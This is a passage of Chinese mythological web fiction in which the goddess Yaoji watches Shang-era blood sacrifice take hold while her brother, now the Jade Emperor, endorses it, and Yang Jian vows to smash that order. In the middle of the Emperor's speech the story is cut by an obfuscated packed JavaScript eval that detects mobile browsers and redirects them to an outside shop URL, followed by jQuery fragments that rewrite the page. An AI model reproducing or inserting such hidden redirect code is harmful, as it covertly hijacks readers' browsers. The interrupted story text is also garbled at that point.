时光如黄河之水，滔滔东逝。
自女娲隐退，昊天与瑶姬恪守职责，已不知度过多少春秋。人间王朝更迭，部族兴衰，在神祇漫长的生命里，不过如草木荣枯般寻常。然正是这一次次寻常的变迁，悄然改变着神与人的关系，改变着天地的秩序。
夏禹治水，划定九州，禅让于益而民心归启。夏启承父余烈，却不再行禅让旧制，于钧台大会诸侯，以兵威服不从者，自此“家天下”始。
瑶姬立于云头，俯瞰阳城。那是夏朝的都城，夯土城墙已初见规模，宫室虽简朴，却已有森严等级。她看见启王身着玄衣纁裳，头戴十二旒冕，接受四方部落朝贡。贡品中有玉琮、铜爵、龟甲，更有活生生的奴隶，被绳索缚成一串，跪伏在殿前广场。
“哥哥，你看。”瑶姬轻声对身侧的昊天道，“人间的王，开始用血统划定尊卑了。”
昊天眉头微蹙。他掌天序，自然能感应到人间气运的变化。自启承大位，原本流转于贤能者间的“天命”，渐渐凝固在夏后氏一族血脉之中。天地间的愿力，也开始从对“有德者”的敬仰，转向对“有权者”的畏惧。
“这是人间自己的选择。”昊天声音平静，“女娲娘娘曾说，路要由众生自己走。只要四时有序，风雨调和，人间制度变迁，非你我该过多干涉。”
瑶姬默然。她看见阳城郊外，农人正在田间收割粟米。今年风调雨顺，是她暗中以宝莲灯调和地脉、催发五谷的结果。收获的农人不知有神助，只向着代表土地的神坛跪拜，口中念着对“后土”的感恩。
后土，是人们对大地之母的尊称。在夏人的祭祀体系中，三皇五帝——燧人氏、神农氏、黄帝、颛顼、帝喾、尧、舜——这些对人类文明有开创之功的圣王，被奉为人祖，享最高规格的祭祀。而山川河流、风雨雷电的自然神祇，地位虽次一等，却也受到普遍尊崇。
瑶姬常化身游历人间。在黄河中游的农耕部落里，她是最受爱戴的神祇之一。农人会在春耕前向她祈求风调雨顺，秋收后向她献上第一束新谷。她行走田间，宝莲灯的光华悄然滋润禾苗，让贫瘠的土地也能产出养活族人的粮食。
一次，她遇见一个老农，正对着干裂的田地发愁。
“地母娘娘，”老农跪在龟裂的土块前，声音沙哑，“再不下雨，今年颗粒无收，全族老少都要饿死了……”
瑶姬心有不忍。她隐去身形，将宝莲灯悬于田间，青莹莹的光晕笼罩百亩之地。不过三日，地脉复苏，甘霖自生，龟裂的田土变得湿润肥沃。禾苗以肉眼可见的速度返青抽穗。
秋收时，那老农领着全族人在田埂上设祭。祭品简单，只有新米熬的粥，新酿的浊酒，还有族人手编的草环。老农将草环戴在田头的石头上，伏地叩首：“谢地母娘娘活命之恩！小老儿无以为报，只能岁岁年年，以此间所产第一束谷穗祭您！”
瑶姬在云中看着，心中温暖。这才是她理解的“神人关系”——不是索取与畏惧，而是感恩与守护。农人辛勤劳作，神祇暗中护佑，各尽本分，共生共荣。
可她很快发现，这样的关系，正在被一种新的秩序取代。
-------------------------
成汤革夏命，殷商受天明。
商人起于东夷，玄鸟衔天命而降，崇鬼神，重血祀。入主中原后，其神权之制较夏代“家天下”更为森严：天有至尊，地有分职，祭祀有等，人神有阶。瑶姬初觉不安，正在商汤于亳都郊野所行开国大典。
九坛巍然，矗于南郊，取五方之土筑之，色分青赤白黑黄。坛上缚羌俘三百，牛、羊、豕各百头。巫觋戴青铜神面，执玉钺而舞，鼓声震地，烟燎蔽天。
汤王亲执鸾刀，割牺牛之喉。
热血喷涌，注于坛心青铜大鼎。鼎身云雷纹路饮血而赤，隐隐泛起幽光。众巫齐声祝诵：“天命玄鸟，降而生商！上帝临女，无贰尔心！”
瑶姬仰观，见人间愿力如烽烟升腾——其中杂糅着征伐之欲、宗族之虔、权柄之渴，汇作浊流奔涌向上，终注入……
她蓦然望向九霄。
昊天——如今当称“玉帝”——正端坐于新筑之“天庭”。殿阙倚霞光为基，缀星辰为饰，较女娲昔年所居恢宏万倍。玉帝冠十二旒天帝冕，服日月星辰章，掌托混沌钟。愿力辉光笼其周身，容颜在氤氲中显得至高而漠然。
那混杂的愿力洪流，正源源没入钟体。钟鸣低沉，每一声皆使天地法度愈固，亦愈显严酷而不可违。
“阿兄……”瑶姬低唤。
她见玉帝垂目下视，对商汤血祭微一颔首。此一动，似是对这人神新契的默许，亦是对血肉为牺之仪的认可。
殷商神权体系，由是而立。
上帝——商人尊天之号，意为“至上之帝”。在其观念中，天界亦如人间，有君臣僚属。遂立四方神：东勾芒、南祝融、西蓐收、北玄冥，分掌四时五行，为上帝臣佐，犹商王封建诸侯。
然最要害者，乃沟通权柄之垄断。
商人信上帝至高，凡人不可直谏。唯商族先公先王先妣，死后魂升于天，为“鬼神”，方得为中介，传达下情，颁降神谕。
故商王——自谓“余一人”——独掌通鬼神之权。龟卜蓍筮，皆释鬼神之意；征伐祭祀，必问鬼神吉凶。甲骨刻辞“帝令雨”、“帝弗若”、“帝降祸”、“帝授我佑”，似人间万事，皆决于上帝一念。
“王权神授”之逻缉由是圆成：商王乃上帝人间唯一代行者，其权承自天，其意即天意。逆商王者，是为逆天。
--------------------
尤令她心悸者，乃“鬼神”体系之勃兴。
商族先灵，生前为王为侯，死后享子孙血食，魂魄受愿力滋养而日益强横。彼等渐失自然神祇之公允，唯余鲜明宗族之私——只佑商裔，只听王祷。
更甚者，彼等需祭，尤需血祭，以固其神魄。
瑶姬尝亲见武丁为祈征伐之胜，于宗庙前磔羌俘五百。血流渗土，怨气冲霄。而庙中商先鬼神虚影显于血雾之中，贪婪吸食生灵精气，发出餍足低叹。
强盛之鬼神，竟可操持一方天时。
祖庚之世，有鬼名曰“寅”，生前乃征东夷大将。其庙立商都以东，岁需东夷俘百人血祀。若祭品不足，寅鬼便作祟，使东方三月无雨，田稼尽枯，至商王补足牺牲乃止。
瑶姬闻之，疾赴东土。但见地裂如龟背，饿殍横道，幸存农人跪于寅鬼庙前，涕泣祈雨，甚有愿献子女以求之者。
“尔敢！”瑶姬震怒。
现出神形，宝莲灯悬照天穹，青光泼洒四野。寅鬼庙中黑气腾涌，化一身披甲骨、手执铜钺之狞影。
“瑶姬神女，”寅鬼声如锉铁，“此乃商王与吾之盟。东夷人祭吾，吾护商土。汝司地祇，调理山川便是，何预人世祀典？”
“以生民为牺，致千里绝收，此可谓‘护’耶？”瑶姬厉色道，“女娲娘娘授我宝莲灯，是为护育生机，非观汝等戕害生灵！”
“戕害？”寅鬼嗤笑，“商王有言：俘者、奴者、牲者，非‘生灵’也。且无血食，吾神力何存？何以佑商族？神女汝享人间香火，岂非亦仗愿力为继？”
“吾从未索求血祭！”瑶姬指节握灯愈紧，灯焰骤明，“吾佑农耕，是因庶民辛勤，理应有报！非以怖惧换香火，以屠戮易供奉！”
两股神力在东天相冲。宝莲灯造化清辉与寅鬼血煞怨气纠缠撕扯，风云为之变色。终是瑶姬以灯焰涤净秽煞，逼寅鬼退回庙中。她降下甘霖，暂解东土之旱。
然返商都近郊，始知事未简单。
祖庚王亲诣宗庙，祭品增三倍以补。更于龟甲刻辞：“帝示：瑶姬干祀，当罚。”投甲于火，观兆断吉。
尤令瑶姬心凉者，乃玉帝之态。
她往谒天庭，欲陈寅鬼之事。及入凌霄殿，所见已非昔年共立不周山巅之兄，而是高踞御座、周身愿力光华流转之天帝。
“瑶姬，汝越矩矣。”玉帝启唇，声若金石，威仪之中透着疏冷。
“阿兄，寅鬼以旱虐逼祭，生灵……”
“此商王与鬼神之约。”玉帝截断其言，“商人以祀换佑，乃其自择之道。汝司地祇，职在调和山川，非可评判人世祀典是非。”
瑶姬怔望兄长：“然那是活生生之人命！女娲娘娘抟土造人时，何曾分俘与民、商与夷？”
玉帝默然片时。手中混沌钟微震，钟鸣荡于殿内，携不容置疑之秩序之力。
“瑶姬，世易时移。”他终道，“女娲娘娘隐退之际，天地初立，人孱如婴，需神若父母哺育。今人族已立王朝，制礼法，自成生存之道。我等为神，当顺天道——而今之天道，即商人之天道。”
“商人之天道……”瑶姬喃喃重复，只觉讽意刺骨，“那阿兄汝，尚是昊天否？尚是昔年立誓‘以公持心，以序护生’之昊天否？”
玉帝目光投向殿外云海。彼处，人间愿力若金色长河奔涌而来，汇入天庭，注入混沌钟，使钟面星轨愈明，神威愈盛。
“朕今为天帝，为上帝，为维序天地枢纽。”其声无波，“商人祀制虽酷，然贡奉愿力稳固，使天地法则愈坚，四时行序愈严。瑶姬，有时个别生灵之牺，是为整体秩序之固
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148374|193483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。此即……天道。”
瑶姬退后半步，宝莲灯于手中轻颤。
她终是明了，昔年共聆女娲训诲之兄，已远。彼被推至至高神座，受愿力洪流裹挟，为商人神权逻缉重塑。在其眼中，维“序”——纵是以血祭为基之序——较护“每一个生灵”更重。
自帝乙嗣位，殷商神权之制又为一变。
先是祭祀上帝之礼，不复由巫觋随时降神决断，而定以四时正祭：春祈、夏禘、秋尝、冬烝，皆依历法而行。天命时序，自此皆纳入规整纲纪之中，如铜鼎铸形，不可移易。
而鬼神之祀，位阶愈崇。宗庙血食，岁有常典；先公先妣，皆受帝号。甚者商王亦弃“王”称而僭“帝”——帝乙、帝辛，名号煌煌，意谓己身即天神在人世之化身。王权与神权纽结愈深，如青铜剑身镶入玉钺，威仪慑人，权柄独揽。
瑶姬默观此变，心渐沉凉。
她掌司之地祇信力，原系于农人祈穑、万民感恩。然商世重征伐，贵胄所祷，皆在克敌拓土；庶民所畏，尽在先祖鬼神。春耕秋收之祀，不过循例虚文；山川草木之灵，日渐无人问津。
宝莲灯虽在手，灯焰却日见幽微。
非灯失其灵，乃人间通达地祇之愿力，几近枯涸。偶有零星祈念，亦如野地萤火，倏明倏灭，难聚真力。反观诸鬼神，享商王岁岁隆祀，血食丰足，怨煞愿力交淬，神通反愈见暴戾强横。
瑶姬尝见西方有厉鬼名“彘”，生前乃监刑之官，死后受祀于刑场之侧。每至献俘，其形显于黑雾，张口吸尽囚徒将死之怖怨，竟能凝煞成刃，劈裂三里晴空。瑶姬欲阻，捻诀召灯，青光却只照得三丈便涣散难聚。彘鬼于雾中狞笑：“神女法力，何以衰微至此？”
又见东土旱魃再起，非天灾，乃三鬼争祀相斗所致。瑶姬强催神元，驾云至其地，灯焰却摇曳如风中之烛，甘霖未降半滴，反惹鬼神讥诮：“汝尚不如一巫祝之通灵矣。”
如是者数，力不从心之困，如藤缠身。
她渐明己身衰弱，非天道弃她，乃人道择路——商人择了一条以血铸阶、以祀筑权、以鬼神为枢轴之路。而她所秉持的“地生万物，慈养护育”之道，在这般人世，已成空谷回响。
宝莲灯静静悬于云头，焰芯虽温润未灭，光晕却仅能笼住她一身素衣。俯视下界，宗庙烟火鼎盛，鬼神威压四方；抬望天庭，玉帝持钟镇宇，法度森严如铁。
而她立在天地之间，如一缕将散的云气，欲护不能，欲言无声。
只余眸中一点未熄的灯火，映着这鬼神当道、人道渐炽的煌煌商世，照见自己愈拉愈长的、孤清的影子。
-----------------------
山河社稷图中，沉香的魂核轻轻震颤。
如果说之前他感知到的是一片温暖的、孕育生机的光，那么现在，那光中开始渗入杂质。他“感受”到一种深沉的困惑，一种无处诉说的悲伤，一种四面楚歌般的孤立无援。
那感觉如同胎儿在母腹中，忽然感知到母亲的情绪低落。不是通过语言，不是通过画面，而是一种纯粹的情感共鸣——凉意，从魂核深处蔓延开来。
杨戬的神念笼罩着沉香，也笼罩着那段正在流淌的历史气韵。
他看见母亲独自坐在云端，宝莲灯放在膝上，她望着下方人间烟火，眼神却空洞而遥远。他看见玉帝高坐凌霄殿，周身愿力如金色枷锁，将那个曾经会与自己讨论星象、会对着潮汐沉思的兄长，塑造成冰冷的天道化身。
愤怒。
那是一种冰冷刺骨、几乎要撕裂残魂的愤怒。
杨戬亲眼看着，母亲是如何从那个接过宝莲灯时眼中闪着光的少女神祇，变成如今这个困惑而孤独的守望者。他看着她一次次试图守护生灵，又一次次被所谓“天道”、“秩序”、“规矩”掣肘。
“这就是你们要的秩序？”杨戬对着虚空低语，声音嘶哑，“用我母亲的痛苦，用无数生灵的血，铸就的秩序？”
他想起自己被压在桃山下的母亲，想起妹妹被镇在华山下的三百年，想起沉香被天条反噬时的惨状。原来这一切的根源，早在这个时代就已埋下。
商人的神权逻辑——阶级固化、血祭维系、垄断沟通——被玉帝接纳，被固化到天地法则之中，最终演变成束缚一切、碾压一切的天条。
而母亲，是第一个感受到这种束缚的神祇。
“还不够，沉香。”杨戬的神念轻轻触抚外甥的魂核，仿佛在传递某种决心，“看清楚，记清楚。你要明白，我们今日所做的一切，不是为了修补这个体系，而是要从根源上……砸碎它。”